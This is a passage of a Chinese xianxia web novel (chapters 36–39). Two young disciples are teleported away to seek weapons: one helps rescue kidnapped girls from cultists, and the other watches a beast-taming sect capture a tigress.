关云铮不太喜欢这个梦境,哪怕在睡梦中也用力皱了皱眉。 她深知自己从未认真学习过,也了解自己喜欢拖延的本性,至于自律,上了大学后更是与她毫不沾边,习惯了他律而不是自律的人在大学校园里摔得狼狈不堪,比过去中学时期的窘迫还要令人难堪。 关云铮在浅层睡眠里挣扎着,想要一如往常地改变走势不妙的梦境。 只是还没等她习惯性地让大脑编织一个她喜欢的梦出来,一种奇怪的声音在她的脑海中响起来,像是某种诡异的闹钟。 她下意识翻了个身睁开眼,发现天光已亮,该起床了。 **** 不知道李演怎么做到的,总之今日甘薯粥里的甘薯,居然还挺甜的。 科技与狠活吗,哦不对,顶多是术法。 关云铮一边喝粥一边琢磨刚才起床前脑子里的动静,实在琢磨不出结果,就扭头去看旁边的楚悯,两个脑袋凑在一块低声嘀咕着。 闻越困得不行,看见面前的画面终于清醒了一点,凑到连映旁边说:“她俩在一起说话的时候,怎么看着那么顺心呢。” 连映顺着他的目光看了眼,笑着说:“你也有这么像兄长的一天?” 闻越拖着碗又坐回去了:“师姐你现在说话简直像师父。”都喜欢打趣他。 章存舒正好踏进门,闻言看过来:“我怎么?” 闻越瞬间埋头喝粥。 关云铮其实有点紧张,胃口也没平时好,粥喝了一半就喝不下了,最后都是因为怕一会儿会饿,机械性地一勺勺填塞进胃里。 她到现在还没去过镜溪城以外的地方,但看章存舒和步雁山布置的阵法,大概率没有几个人会留在镜溪城,应该都会传送去别处,不然此举历练的意义也就不大了。 章存舒正想给自己盛碗粥,连映已经把另一碗推到他面前。 关云铮喝不下粥但还看得了热闹,扒着碗沿觑章存舒的表情。 “今日不是甘薯粥吗?”章存舒看了眼连映推过来的小米粥,“怎么没有我的份?” 连映语气平静:“太甜了,你别喝了。” 章存舒无言片刻,叹了口气,认命似的拿过碗。 关云铮想起昨晚章存舒说她根本不怕女帝只是装乖的话,觉得自己其实也不怎么怕章存舒。 她比较胆大包天是一方面,章存舒本身也完全没架子,连映这样管着他,他看上去完全没有意见,看起来一点也没有用师父的身份表示不高兴的样子。 没有甜粥喝的师父好可怜,关云铮眨了眨眼,就见连映又盛了一碗粥,把章存舒面前还没动过的那碗给换了:“今日这么配合?” 毕竟往日没少趁她不在偷吃甜食。 章存舒把甜粥拿到面前:“这不是知道你会给我再盛一碗吗?” 关云铮看完全程,仿佛看到靠谱长姐管不靠谱爹,感慨着原来是双向奔赴的有恃无恐。 章存舒一来,先接了闻越的话,接着跟连映玩了个无伤大雅的心眼,最后看向一直没发言的关云铮,以及坐在她旁边的楚悯。 关云铮还在走神,楚悯已经下意识又坐直了一点。 “想好待会儿要去哪了吗?”章存舒问道。 楚悯看向刚回过神的关云铮。 关云铮的想法跟原身有关,所以没想在这个场合下坦白,于是看看章存舒,示意他问楚悯就好,当她不存在。 楚悯自然读懂了氛围,思忖着说道:“我大概会去找乐器,但不知道会去哪里。” 章存舒没有直接对她的想法提出意见:“看来小悯回来后要换个教武器的先生了。” 短短两句话信息量稍微有点大。 乐器也可以作为武器的话,真能用古琴打人吗?不是物理意义那种?关云铮把脑子里暴力抡古琴的画面强行删除,继续想:换武器先生,那看来蒲飞鸢并不擅长这一类武器,换的先生又会是谁? 章存舒却没打算再多说的样子:“都准备好了的话可以出发了,掌门在等你们。” **** 传送阵法要踏进去才会显出痕迹,关云铮站在圈里,低头看地上浮起的纹路。 好的,看不懂。 也不知道之后术法课会不会教,感觉这个纹路虽然看不懂但还挺好看的。 步雁山一甩袖,浮在空中的数十张符咒自发飞入每个人手中:“遇到危险或者解决不了的情况,撕毁或是烧毁手上这张符,就会回到归墟。” 这点昨日楚悯说过了,关云铮拿着符纸仔细端详。 “若是三日已至仍无收获,阵法会将各位强行召回,诸位都是各派选中的新入门弟子,你们的性命安全比武器更重要,这次寻不到以后也有机会,希望各位不要强求,顺应自然。”步雁山又补充道,随即他退出阵法,到一边的空地上站定。 “现在,请在心中默念自己的目的地。” 关云铮下意识闭上眼睛,手里攥着那张符纸。 不够明确、语焉不详的想法会导致无法传送。 于是她默念道:“我想去一个与人死后魂魄有关的地方。” 万籁俱寂。 关云铮睁开眼,眼前已并非归墟。 **** 章存舒向几个弟子解释传送阵法的时候强调过,阵法会首先保障他们的安全,虽然弟子们的想法各不相同,但能去往的地方其实相对有限,并不是全域都在范围之中,而是先行剔除了一部分相对危险的区域。 但楚悯一落地就遇到了意外情况。 她确信此刻全域皆是白天,但落地之后眼前的阳光却非常稀薄,其中一缕正落在她脚边的草地上,印出一枚光斑。 楚悯抬起头,发现周围的树木几乎高耸入云,树冠更是遮天蔽日,难怪正值白天却见不到多少阳光。 还没等她把身处环境观察清楚,不远处兽类的咆哮声突起,吓了她一跳。 楚悯迅速转身,找了棵树躲藏,从怀里的乾坤袋里摸出一个火折子。 如果关云铮也在的话,就会发现这个火折子和上次她们用来烧龟甲的那个不太一样,顶端并没有反复点亮火焰又多次熄灭的烧焦痕迹,几乎是簇新的。 楚悯像上次那样低声念了一句诀,手心再度亮起接近纯白色的火焰,她把火折子凑到火苗上燎了一下,火折子顶端立刻跃起一簇白光。 在接近黑暗的森林中足够亮了。 楚悯合拢手掌,把手心的火熄灭,看着火折子顶端的那簇光。 那点光亮起先不偏不倚地位居正中,随后不知是风的影响还是什么,逐渐往楚悯身后的方向偏移。 楚悯看了眼身前,是方才传来咆哮声的位置,又垂眸看了一眼火折子,最终还是转过身,顺着光亮的指引走了。 这火折子,不,确切来说,她手上的东西更接近于一个法器。 天问一派大多并不精通体术,就连门中长老也少有在体术上大有造诣的,故而天问中人多数都扬长避短地钻研了许多法器,她手中的东西就是个可以简单示警并指引方向的法器,没有专门的名字,平时都随口唤作火折子。 与寻常的火折子不同,她手上这个不能见明火,一旦见了明火,示警与指引作用就会失效,点燃它的只能是她手心这样的火苗。 她手心的火苗实际上是灵力催发的,并不是真正意义上的火焰,故而虽然可以拿来烧东西,但没有看起来那么灼烫。 灵力与灵力之间可以互相感应,而万物皆有灵力,故而可用灵力之火点燃的火折子来感应周遭,判断吉凶。 仙盟忽然来这一出着实打乱了许多人的计划,楚悯知道步雁山和章存舒让他们下山实为好心,但此刻她神色有些苦恼——因为她方向感不太好,这次来修习也没有带地图。 毕竟都是看不明白的东西,带着有什么必要呢? 森林似乎漫无边际,楚悯一边在行进的同时警惕周围,一边思忖着:这样覆盖广的森林全域没有几处,来归墟修习时已是秋天,这周围却既不见树木落叶,也没有草木泛黄,而镜溪城已在全域靠南,城中仍有部分草木衰败之象,此处想必是更南边、更暖和些的地方。 章存舒说会让他们传送到安全的地方,楚悯倾向于认为传送的目的地多是有各大仙门管辖之地,否则无法确认其安全性。 人群的叫嚷之声与马蹄声远远传来,楚悯果断地熄灭火折子放回乾坤袋,转身在一棵树后藏好。 没等多久,一队服饰特色鲜明的人策马而来,直冲方才传来兽类咆哮声的方向去了。 那群人肤色偏黑,衣料大多轻薄,身上用兽类的毛皮、牙齿制作的饰物异常显眼。 楚悯艰难地在脑海里想象出一副残缺不全的全域仙门分布图。 南方,森林,与兽类相关——看来她此行,来到了鹧鸪山—— 作者有话说:上班使人大脑萎缩 第37章 让关云铮自己评价的话, 她觉得自己脑海中关于目的地的想法其实挺模糊的。 “与人死后魂魄有关的地方”,这个定义太含混了,到处都会死人, 到处都有死后无法得到安息的魂魄, 故而传送到哪里都有可能。 但鉴于楚悯说,章存舒和步雁山会保证传送地点的安全性, 那可传送的范围就小了很多, 她觉得大概率是有仙门的地方,毕竟修仙世界里的相对安全应该是靠驻守当地的仙门力量保证的。 只不过她也不能确定,毕竟她待的这个世界跟她看过的众多修仙文都不太一样。别的修仙文都忙着打怪和拯救世界,她所在的这个世界像是什么“异端”,到现在遇到最让人头疼的几个邪修,还是江却三下五除二就能都解决的程度。嗯, 没有说大师兄不强的意思。 不过也可能是她受归墟庇护,所以才对外界一无所知。 毕竟她还在21世纪的时候, 不上网也不会知道,有些国家都要被炮火轰炸得从世界地图上消失了。 关云铮现在身处荒郊野外, 周围树木稀疏, 她无端警醒,下意识握紧了手里的东西,被冰凉的剑鞘硌了一下手心, 才想起自己此行带着摇羽。 她拔剑出鞘:“摇羽, 你知道这是哪吗?” 摇羽一开始没回答,关云铮还以为灵气又不够了,过了会儿才听见它慢吞吞地说:“我又没实体,怎么知道这是哪?你刚传送过来之前想的什么?” 关云铮犹豫了一下,跟自己的剑说实话应该没什么问题吧? 还没等她开口坦白, 摇羽的语气忽然严肃起来:“附近有灵力波动。” 关云铮在荒郊野外站了这么一会儿,还没有下山历练的实感就听见这么一句,像是数学试卷没有选择题,而且第一道填空就是排列组合,被吓得一口气差点卡喉咙里:“什么灵力波动?” 摇羽像是又感觉了一下:“应该是两波人打起来了,过去看看?” “安全吗?”关云铮一边质疑,一边顺着摇羽的指引往前走。 “我可没法保证,先靠近看看。”听语气并不多么危险的样子,关云铮不知道是摇羽心大,还是前方真的只是个小场面,默默在心里叹了口气。 “你之前说,是鬼灯楼的人给你种的心魔引?”一人一剑稳步前行的过程中,摇羽忽然问道。 “大师兄说的,当时我并不知道他们是谁。”关云铮如实相告。 摇羽“嗯”了一声,又问她:“你没问鬼灯楼是干什么的?” 她想了想:“当时没问,但之前下山的时候我遇到过鬼灯楼的人,她跟我说他们是跟鬼魂之类打交道的。” 摇羽好像是笑了一声,关云铮疑心自己听错了,随即又听到剑灵说:“那你做好再次遇见他们的准备吧。” 关云铮的脚步顿了顿:“什么意思?前面有鬼灯楼的人?” 摇羽像是故意卖关子:“我只感觉到其中一方使用灵力的方式邪性得很,至于是不是跟鬼魂有关,感觉不出来。” 关云铮不是很想知道如果前方真的是鬼灯楼的弟子,他们来这是想做些什么。但她又不能否认,她在传送前的想法确实跟鬼灯楼的“业务范围”有点重叠。 摇羽听她不说话了,以为她害怕,又问道:“你方才还没说呢,传送前想了什么?” 关云铮已经看到前方竹林里隐约的人影了,闻言回答道:“我希望去一个与人死后魂魄有关的地方。” 摇羽听上去又想骂她了:“不是让你们找武器吗,你这什么想法?”话音未落,它似乎感应到了什么,压低声音道,“看到人了?” 关云铮的语气相当生无可恋:“嗯,你要的鬼灯楼。” **** 鹧鸪山当地驻守的仙门好像就是与兽类打交道的,楚悯此前没怎么离开过师门,只在门中学习时听过关于他们的事,因此尚且不能确定方才纵马路过的是不是此地仙门,思虑片刻后还是决定跟上去瞧瞧。 她一边小心地往来的方向走,一边想:步掌门和章先生的本意应当是让他们通过寻常途径获取武器,比如武器铺子这一类,但应该也不排除像她这样掺和进当地门派日常事务的情况。 毕竟如果想要他们找一把锻造武器的话,镜溪城中并不缺匠人,哪怕给归墟一众弟子尽数锻造出合适的武器需要时间,也没必要费心思铺设传送阵法。 楚悯回过神来,意识到自己都在想些什么,不由失笑。 天问一派自创建以来,半数以上的门中人都短寿。 修习的道法会一定程度折损寿命是一方面,总是下意识地往深处想,剖析事件的始末又是另一方面。 以前叔父总是唠唠叨叨地说:“小悯的脑袋里要少装些东西。” 彼时的她不明所以,觉得这有悖于天问一派“多思多想”的行事准则,于是思考片刻,抬起头来问叔父:“为何?我不明白。” 叔父把她的头发梳顺:“思虑过多伤神伤身,没准还会掉头发。” 楚悯下意识看了一眼叔父手里的木梳。 叔父哈哈大笑起来:“吓唬你的,但脑袋里装了太多东西会睡不好觉。” 楚悯没笑,无端觉得叔父的心情似乎不太好,于是犹豫着问道:“叔父每日夜里都睡不好觉吗?” 叔父脸上的笑容消散了一些,他摸了摸楚悯的头发:“是啊,几乎每日夜里都睡不好。” 那时她说了什么? 楚悯像被什么东西蛰了一下,皱了皱眉,脸上骤然浮现出几分痛苦。 别再想了。楚悯反复在心里告诫自己。命数是这世上最不讲情理的东西。 楚悯强行收敛了脸上的神情,继续往前走了一会儿后,终于看见了方才那队人的身影。 刚看清视线正中的东西,楚悯就被惊得脚下一滑,险些被树木巨大的根系绊倒。 那是一条足有一人环抱粗的巨蚺,正缠在一头老虎身上,先前她听到的咆哮声可能就是这头老虎发出来的。 他们是在捕猎? 鹧鸪山地处偏僻,所在之地蛇虫鼠蚁横行,若无必要鲜有人至,是以对他们的记载也并不多,楚悯在记忆中翻找几番,也只能想起他们习惯以音御兽,与山中灵兽为友。 若是这会儿云崽在旁边,大概会感慨一句:“不是都说对牛弹琴吗,他们对灵兽吹奏乐器,灵兽听得懂?” 楚悯被自己想象出的画面逗笑了,正想再观察片刻再上前,变故陡生。 **** 关云铮一边形容鬼祟地靠近那群人,一边腹诽着:这个世界真的不是谁写的吗?反派群体这么单调,只要有坏人作妖就是鬼灯楼,这让她很难不怀疑啊。 不过换位思考一下,创作的过程中如果坏人一波又一波,光是给他们起小团体的名字就得怨气冲天了,但假如始终是一群人,甚至不太需要起群体内部的名字了,反正都得被主角打败,关云铮非常没有创作道德地想。 但人不是非黑即白,需要坏人的时候就被拖出来当炮灰的反派,和没有任何缺点伟光正的主角一样不现实,偶尔看看还行,看得多了就差点意思了,毕竟谁也不喜欢量产的东西。 不对,如果殷含绮对她完全坦诚,那殷含绮这个“角色”首先就与鬼灯楼的一部分人产生了不同,同一门派之中有对“引魂”这件事持不同态度的两波人,会让这个门派的形象不那么像个没意思的反派。 关云铮在竹林里走得小心翼翼,生怕像电视剧里那样,关键时刻踩到什么显眼的枯枝引起注意。 “都什么时候了你还想着那档子事?!”一个暴怒的声音忽然响起,吓得蹲着的关云铮差点一头磕上面前的竹子。 她把身子伏得更低,努力从茂密的林木之间看出去。 “反正她们都要死在这。”被凶的那个人说。 死在这?又是引魂术?关云铮看向坐在地上的那些人,基本上都是年纪很轻的女孩,比上次下山时还要多几个。 但她没看到香炉。 那档子事 摇羽听她半晌都没动静,估计她已经到附近了,也没再开口,而是闪烁着跳出几个字来:“情况如何?” 关云铮正皱着眉头,感觉到摇羽微微颤动,低头看了眼,压低声音用气声说:“你觉得我打得过五个邪修吗?” 摇羽好久都没动静,过了一会儿才艰难的跳出两个字:“多少?” 都能想象它要是能说话,这句话得是什么音调。 关云铮紧张得手心冒汗,没拿剑的左手反复攥着自己的衣摆。虽然比起上次下山她的术法和功夫都有了一定长进,但对上五个邪修,她觉得自己的胜算为零,甚至可能还是跟上次一样会把自己搭进去。 摇羽没动静了,不知道在剑里想什么,关云铮正在脑子里快速回忆这些天学过的所有内容,感觉自己就像是期末考试前,因为复习不完反复计算考多少分才能过的悲惨大学生。 哦,不是好像,她就是这样的大学生。 可惜正邪对抗不是期末考,没有好心的老师海底捞。 这次摇羽蹭够了灵气,她也勉强算是学会了御剑,正打算豁出去莽一把,却眼尖地看见人堆里一个女孩动了动。 不对,好像不是女孩,年纪比其他人都要大一些。 关云铮看见她正伸手到身后摸索着什么,但从这个方向和角度看,她身后的东西被遮挡了大半,看不清楚具体是什么。 还没等她再看两眼,方才那两个起了争执的男人就一前一后地走了过来,要把一个女孩从人群中拎走。 那女孩正坐在方才那女人的前方。 要是她在割绳子,小动作岂不是要被发现了?! “你们要干什么!放开我!”被强行拖起来的女孩叫喊起来。 被训斥的那个男人已经开始在女孩的叫喊声里开始动手动脚,关云铮的剑诀刹那间涌到嘴边:“剑随心至,去!” 与此同时,她终于看清了那个女人的动作——她早已不知何时挣脱了束缚,一手将身后的琴翻至身前,另一只手在琴弦上用力一扫——无形的攻击从她两手之间扩散出去,刹那间就把抓住那女孩的两个男人掀飞出去。 摇羽飞驰而至,从另外三人中的一人身体穿胸而过,关云铮从竹林中一跃而起,接住飞回来的摇羽。 那个弹琴的女人和她对上视线后神色毫不意外,像是早就感觉到了她在附近。她依旧席地而坐,右手已经再度按上琴弦。 关云铮握紧了已经沾血的摇羽。 被琴音掀翻的两人在地上挣扎着,正要爬起来,下一道琴音已经催命似的碾过他们胸膛,两人齐齐吐出一口带着沫的血。 关云铮看向最后两个鬼灯楼的人。 其中一个明显还想反击,提剑冲上前来。 关云铮的心脏在胸腔里砰砰作响,肾上腺素作用下,精神紧绷的同时这具身体的反应力也被调动到了极致——她用力挥出摇羽,格挡住迎面而来的一击,随即再度发力,将那人的剑挑高,还没等他反应过来再度挥剑,先一步把剑尖刺入他胸膛。 这个动作让她和面前人的距离骤然缩短,但这人显然还有反击之力,因此她毫不犹豫地拔出剑向后猛撤一步,让他已经疲软的攻势落了空。 不算很多的血因为拔剑的动作溅了出来,关云铮来不及完全闪躲,被温热的液体溅上侧脸。 冷静,她在脑海里对自己说。 咚咚,咚咚。 关云铮在心跳声中握着剑转向最后一个邪修。 那人经历了突然的两次袭击,又看着几个同门在自己面前倒地不起,已经吓得面如土色,握着剑的手抖如筛糠,慌不择路地连连后退,正撞上一道让他失了浑身气力的琴音。 关云铮承认她现在有点不太理智,她感觉自己现在比反派还像一个反派,简直像杀红眼了一样抬手就要挥剑。 “且慢!”一个有些熟悉的声音从身后的方向响起。 关云铮提防着眼前的人突然发难,没有立刻转头,而是等身后的人走上前来才分了一眼。 “咦,是你?”来人看清关云铮的脸后说道。 关云铮也有点愣住了:“你是小悯的哥,兄长?”—— 作者有话说:打戏苦手尽力了TvT 第38章 “你还记得我?”面前的男人看上去与江却差不多年纪, 认出关云铮后脸上的神情温和了许多。 关云铮点点头:“这里难道是盈川?” 她记得小悯跟她说过天问在盈川的盈都峰。 楚悯的哥哥点点头:“正是盈川,我在门中探查到附近有异动,故而来此。你怎么会在这?小悯呢?没有跟你一起吗?” 关云铮正想跟他解释清楚自己在这的原因, 余光里什么东西忽然一闪, 她完全来不及反应,左手却已经条件反射般地抬起来挡在身前。 “叮”一声脆响, 像是金属与金属碰撞的声音。 她还没反应过来, 楚悯的哥哥已经变了脸色,不过还没等他循着方向做出应对,方才那个弹琴的女人已经一脚踩在最先倒地的其中一人胸口:“真能作死。” 那人原本还支起了一点身子,手还朝着关云铮的方向,被一脚踩中胸口,彻底上不来气, 一命呜呼了。 关云铮:…… 为什么脑子里在大喊“不要奖励他”,真的很想让自己的脑子正常一点。 “我是苏逢雨, 江湖散修,你们呢?”抱着琴的女人神色平静地收回腿, 好像刚才没有一脚踩死一个人一样, 看向关云铮和楚悯的哥哥。 楚悯的哥哥语气抱歉:“方才事出紧急,忘了报上姓名。在下楚恽,盈都峰天问派弟子。” 关云铮正打算也跟着自我介绍, 就听见楚恽说:“这位是归墟苍生道弟子, 关云铮,多谢前辈施以援手,了结那人性命,不然他可能还会用暗器伤人。” 行吧,看来是小悯和她哥哥通信的时候介绍过, 自我介绍也省了。 楚恽说完又低头看她:“啊,我操心惯了,又自作主张了,还望你不要介意。” 关云铮赶紧摆手:“怎会,多谢……” 又卡称呼上了。 楚恽笑着说:“同小悯一样唤我兄长就好,若是不习惯也可以叫我楚师兄。” “多谢楚师兄。”关云铮快被楚恽身上散发的老妈子光辉晃晕了,只好投降道。 “你留他性命,打算做什么?”苏逢雨看了眼那被吓得精神状态都不太正常的邪修。 楚恽解释道:“近日盈川有不少失踪消息上报,门中早已怀疑是鬼灯楼的手笔,但尚未查清余下姑娘们的下落,所以让我留一个活口,捉回去审问。” 苏逢雨好像并不真的关心那邪修之后的下场,因此只神色平淡地“哦”了声就不再多问,看向关云铮道:“你左手那个,是护身法器?” 关云铮抬起手腕,想起方才自己完全没有抵挡的想法,左手就抬了起来,猜测这就是这个镯子“护身”之处:“是,师父给的。” “你师父是章存舒?”苏逢雨又问道。 关云铮点点头。 苏逢雨没什么表情:“他还行。”说完就点了点头,抬腿要走。 “前辈,您不随我去门中一趟吗?”楚恽开口道。 苏逢雨抱着琴看了他一眼:“我也不知道剩下的姑娘们都在哪,混在这群人里也只是为了找个合适的时机把他们都杀了,如今你来了正好,收拾收拾残局吧,”她走出两步,又说,“天问难道还打算审问我?” 楚恽连忙抬手:“晚辈不敢,多谢前辈援手。” 苏逢雨像是懒得再说车轱辘话,连个回应也没有地走远了。 关云铮和楚恽看着她走远,又看了眼一地的邪修尸体,还在昏迷的几个女孩,和明显被吓着的那个女孩,一起头疼地叹了口气。 **** 楚悯反应过来时另一头猛虎的利爪已经离她的脸不到两尺,她身后是树干,无法后撤躲开,只好迅速矮身躲过,随后卧倒就地一滚,离开原本站的地方。 猛虎一击不成,第二击已至,腥风扑面而来,她想起蒲飞鸢教学时曾说过的话:“当你没有足够抵挡的武器面对袭击时,千万不要抬手挡。” 因为蒲飞鸢曾经见过一个手腕断得只剩一截皮肤与手臂相连的人,就是因为武器脱手后下意识抬起手臂抵挡,直接被对手砍断了。 当时关云铮心有戚戚焉地在她旁边点头:“我也读到过这样的故事。” 在哪里读到的关云铮没说,楚悯知道一定不是什么寻常书籍。 关云铮说完后又问道:“那该怎么办?” 蒲飞鸢的神情很严肃,像是很怕他们会以卵击石,语气如同叮嘱般郑重:“力量太悬殊的时候,躲避攻击才是你们的首要任务,切忌正面迎敌。” 楚悯心念电转间已经利落地又在地上打了几个滚,沾了一身的草叶也没停顿,直到一支响箭从远处飞来,钉在她和那头猛虎之间。 楚悯猛然抬头,看见箭尾的翎羽还在颤动。 猛虎也被吸引了注意力,调转方向朝响箭飞来的方向怒吼。 楚悯再度滚了一圈,撑地起身,迅速躲藏到另一棵树后,右手食指指尖已冒出灵光。 她在左手掌心迅速画了一个微型阵法:“勘破!” 随着她的话音一同响起的是一阵急促的笛音,楚悯凝视着手心的阵法,片刻后抬起头看向来人。 是方才那队人马,盘踞着身子的巨蚺处于其间。 “它是那头幼兽的母亲!”楚悯离第二头猛虎的距离依旧很近,三方原本正僵持着,她的这句话骤然打破平静,猛虎像是能听懂人言,咆哮一声,再度朝她这边冲过来。 急促的笛音再度响起,还伴随着忽高忽低的哨声,像是妄图拴住面前不通人性的野兽。 楚悯正准备后撤,腰间一紧,脚下倏然腾空。她仓皇回头,看见一个人正从后方高处的枝杈上垂落半身,手中的软鞭缠住了她的腰。 “冒犯了,姑娘!”那人口中说着,手上用力,楚悯不受控制地被整个人抛起,又被那人拉着,一起坐回了树杈上。 楚悯惊魂未定地回头:“我记得猛虎应当会爬树?” 故而树上也并非安稳之处。 那人老神在在地冲她一点头,甩着手上的软鞭:“自然,只是你也说了,它是底下那头幼兽的母亲,此刻自然护子心切,来不及跟我们几个杂鱼追究。” 楚悯左手掌心的法阵在飞快地变换着,那人“咦”了一声,凑上前来:“这是什么法术?” 楚悯下意识退后了些,随即又摊开手掌给他看个清楚:“天问一派的卜算阵法。” 那人眼睛一亮:“你是天问的?那你能帮忙看看底下那头老虎的弱点在哪吗?” 楚悯低头往下看了眼,那头雌兽看见了自己虚弱的孩子,又被笛音和哨音控制着无法上前,正在原地焦躁不已。 “你们为何要抓它的孩子?”楚悯一边飞快地修改和添补着阵法,一边问道。 身旁的人叹了口气:“你是天问的肯定知道,我们鹧鸪山一般是主张和山中灵兽都处好关系的,但这只幼兽已经下山作恶过多回了,起先只是偷鸡,后来连人都想叼走,仙门怎容得这种妖兽存活?” 楚悯没纠正他口中“天问无所不知”的说法,目光落在掌心没动:“那头雌兽的弱点在右后腿,曾经受过伤,一直没痊愈,攻之或可使其疲软。”她说完后停顿了一会儿,“若杀了那头幼兽,她应当会与你们鱼死网破。” 旁边的人皱了皱眉:“知道了。”他将软鞭在树杈上缠了一圈,“你先在此处稍候。”说罢便握住软鞭另一头,像在山中借助树藤跃进的猿猴般,轻巧地从树上落地。 楚悯身处高处,清楚地看见他落在人群中,同那吹笛人耳语了几句。 吹笛人往她所在位置看了眼,又低声对身边几人说了什么。 一队人迅速变换着阵型,笛音、哨音和法术一齐发动,那雌兽焦躁难安,终于扑上前来。 在一旁的巨蚺早有准备似的甩出尾巴,猛然抽打在它右后腿。 雌兽痛苦地咆哮一声,庞大的身躯颤动,但仍坚持着想要靠近人群,和人群之后它奄奄一息的孩子。 吹笛人的笛音再度急促起来,而他身后的几人指间翻飞,口中念念有词。 楚悯手心的卜算阵法仍在运作,因此清楚地得知那几人指间正逐渐成型的东西,是鹧鸪山灵兽一派最擅长的捕灵网,只要法力足够,无论多大的猛兽,都能在张开时的瞬间将其绑缚。 下方耀眼的金光一闪,卜算阵法倏地停止运转。 捕灵网成型了。 **** 楚恽和关云铮很快确定了分工:楚恽负责把剩下的那个邪修绑起来,并且叫醒余下还在昏迷的姑娘,关云铮来安抚那个受惊的。 坦白说,关云铮不知道该怎么安抚。古代人和她这个现代人对于这件事的看法就存在着本质上的不同,她和苏逢雨出手及时,面前的女孩只是衣裳略显凌乱,实质性的侵害并未发生。 但这也不代表她就没有受到伤害。那些丑恶的嘴脸已经足够让一个女孩感到恐惧和后怕了。 关云铮不知道该怎么面对这样的场景,在这件事上,她与楚恽相比唯一的特殊之处就是她也是个女孩。 她轻轻叹了口气,半蹲下来:“别害怕,那些人已经被我们解决了。” 但是以后呢?坏人作恶是没有尽头的,她又该怎么办呢? 关云铮在乾坤袋里翻找了一会儿,找出一块师姐给她的手帕,隔着不会加重女孩恐惧的安全距离递给她:“擦擦眼泪吧。” 看她伸手接过,关云铮又低头翻找了一会儿,找出一件师姐担心她在山下着凉才塞进来的披风,没说话,只是放在膝盖上叠好,也递给她。 做完这一串动作后她忽然想起什么,有点惭愧地用力抹了一把脸颊:“方才溅到血了,抱歉,是不是吓着你了?” 女孩一手拿着披风,一手攥着手帕,像是想要把眼泪忍回去,只是努力了片刻,还是徒劳地哭出了声。 关云铮不知道该说什么,只好蹲在她面前等她的情绪过去。 楚恽已经叫醒了余下的姑娘,比起前面这个,她们的情绪还算稳定,看来鬼灯楼的人还没来得及动手。 眼前的女孩听见了身后传来的低语声,因为哭泣颤动着的肩膀忽而一沉,泣声也不自觉停顿了一下。 关云铮敏锐地注意到了这个动作,干脆地打破安全距离,上前把她扶起来。女孩猝不及防,发软的双腿一时甚至使不上力,关云铮愣是把她撑住了:“没事,靠在我身上。” 她回头看了眼楚恽,楚恽也像会读心似的,给她指了个向前的方向,于是她顺着指引,扶着身边的女孩向前走:“你和那些姑娘相识?” 身边的女孩点点头。 关云铮没再顺着这个话题往下问,而是转向另一个话题:“想沿着这条路走走吗?” 女孩依旧断断续续地抽泣着,闻言微不可察地点了点头。 “我不是此地仙门的弟子,对路况不太熟悉,接下来你想往哪走?”两人走到岔路口,关云铮问道。 女孩回头看了眼:“你不等他一起吗?” 关云铮知道她在说楚恽,因此回答道:“他是天问的,应当比我熟悉路,我初来乍到,只好把你拐走当个向导了。” “我听到了,你们方才说的。”女孩的声音怯怯的,“我还听到他说你是归墟苍生道的,苍生道……是什么样的道?” 关云铮眨眨眼睛:“我也不知道,我也才入门没几天呢。” “那……是心怀苍生的道吗?”女孩又问。 关云铮笑着说:“应该是吧?” 女孩点点头,又不说话了。 前方隐约看到建筑,估计是快到盈川城中了,关云铮放慢脚步,女孩察觉到,下意识抓住关云铮扶在她身后的手:“我还没告诉你我的名字。” 关云铮朝她笑笑:“你知道我的名字就好啦。” 她只是个机缘巧合下帮了个忙的过路人,没有必要知道被她救了的受害者叫什么名字,是什么来历。或许在这一刻,她其实根本不想别人知道她是谁,只是出于被搭救后不得不表示的礼貌,才会说出这么一句。 如果不是苏逢雨问起,关云铮也不会让她知道自己的名字,这件事留下的印记越少越好,清晰的人名就像辅助图片记忆的标志,只会在未来的反复回忆中逐渐加深这段记忆,对于一个可能会对这件事耿耿于怀的女孩来说,大概不会是什么好事。 记住伤痛固然很重要,但一遍遍地回忆只是自虐,没有任何意义。 关云铮看她已经有了自己走路的力气,松开扶在她身后的手,又摸了摸乾坤袋,摸到一朵或许是章存舒放进去的干花。 “送给你吧,我也要去走我的路了。”关云铮把干花递给她,然后朝她笑了笑,转身去找楚恽会合了—— 作者有话说:云崽读到断手故事的那本书是高中某本英语教材()大概是听见邻居尖叫结果冲出来看到邻居手快断了() 干花是闻越送给连映的那盆牡丹做的,但确实是章存舒放进去的 第39章 捕灵网困住了救子心切的母亲。 那头逞恶行凶的幼兽未来会如何?这只雌兽又会如何? 灵兽一派宣称自己与灵兽为友, 然而衣饰中兽皮和兽牙制作的饰物令人目不暇接,难道这些全都来自于“凶兽”? 在高处目睹了一切的楚悯被树下的喊话声唤回神:“树上那位姑娘!” 楚悯收拢左手,阵法在她手心熄灭。她低头往下看, 就见那巨蚺正逆着地上的草叶, 向着她所在这棵树的方向缓缓爬行而来。 难道他们想让她跳到巨蚺的身上滑下去吗? 楚悯下意识在树杈上撑了一把,就见那巨蚺片刻间已经到了树下, 向着她所在的高度支起身子。 方才那个用软鞭救了她的人在底下喊道:“你跳到灵犀身上再滑下来吧, 太高了我们没法保证不让你受伤!” 荒唐的猜测成为现实,楚悯很想知道自己只是期望找一样乐器,为什么会被传送阵法送到鹧鸪山里。过去十几年间听都没听过的庞然巨兽,她今日这一会儿就近距离接触了两只,接下来还不知道会有多少。 那巨蚺的头颅已经到了树杈下方,距离她垂落下来的脚只有不到一尺, 确实是个跳下去也不会受伤的距离。 楚悯下意识攥紧了手,发觉自己的掌心又热又黏, 不可控制地出了很多汗。 那巨蚺似通人性,见她迟迟没有动作, 又调整了片刻自己的脑袋, 让更平坦的顶部成为楚悯的落脚点,看得出平时没少当临时坐骑。 豁出去了。 楚悯生平头一次不管不顾地想。 她向前挪动,右手最后撑了一把树杈, 让自己落在巨蚺的头顶。 蛇鳞触手冰凉, 并且滑得没有任何着力点,楚悯下意识伸手反而有些攀不住。 “你搂着它颈滑下来就行!”那人又喊道。 太荒唐了。 这么长的巨蚺她怎么知道哪里是它的颈啊!再说了她根本搂不过来! 还没等她调整自己的位置,巨蚺的头颅忽的动了。 楚悯用尽全力攀住自己能控制的每一片蛇鳞。 被唤作“灵犀”的巨蚺缓缓沉下身子,把脑袋落在了地上。 楚悯从它身上下来,心有余悸道:“多谢。” 面前的庞然大物竟朝她点了点头, 随后吐着信子又爬回那吹笛人身边了。 先前那使软鞭的朝她跑过来:“其实我本来打算用鞭子卷你下来,但我哥说太危险了,怕你受惊。” 楚悯一时之间居然无法在巨蚺坐骑和这个办法中挑出一个不那么让人受惊的,这两者当真有区别吗? 